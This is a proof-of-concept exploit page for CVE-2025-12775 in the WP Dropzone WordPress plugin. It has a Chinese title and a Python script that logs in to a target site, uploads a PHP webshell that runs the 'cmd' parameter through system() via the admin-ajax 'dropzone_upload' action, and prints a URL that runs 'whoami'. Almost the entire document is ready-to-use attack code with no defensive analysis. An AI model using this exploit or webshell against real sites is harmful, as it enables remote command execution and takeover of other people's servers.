CVE-2025-12775 WordPress WP Dropzone插件任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-12775 PoC - WP Dropzone Arbitrary File Upload This PoC demonstrates uploading a PHP webshell via the vulnerable endpoint. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker123" def get_nonce(wordpress_url, username, password): """Login to WordPress and extract nonce and cookies""" session = requests.Session() # Get login page to extract nonce login_url = f"{wordpress_url}/wp-login.php" resp = session.get(login_url) # Extract login nonce import re nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', resp.text) if not nonce_match: print("[-] Failed to extract nonce") return None, None nonce = nonce_match.group(1) # Login login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "_wpnonce": nonce, "redirect_to": "/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if "wordpress_logged_in" in str(session.cookies): print("[+] Login successful") return session.cookies, session else: print("[-] Login failed") return None, None def upload_shell(session, wordpress_url): """Upload malicious PHP file via vulnerable endpoint""" upload_url = f"{wordpress_url}/wp-admin/admin-ajax.php" # PHP webshell content webshell = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Chunked upload parameters files = { "file": ("shell.php", webshell, "application/x-php") } data = { "action": "dropzone_upload", "chunk": "0", "chunks": "1", "file_id": "malicious_shell" } print("[*] Uploading malicious PHP file...") resp = session.post(upload_url, files=files, data=data) if resp.status_code == 200: print("[+] File uploaded successfully") print(f"[*] Try accessing: {wordpress_url}/wp-content/uploads/dropzone/malicious_shell.php?cmd=whoami") else: print(f"[-] Upload failed: {resp.status_code}") print(resp.text) if __name__ == "__main__": cookies, session = get_nonce(TARGET_URL, USERNAME, PASSWORD) if cookies: upload_shell(session, TARGET_URL)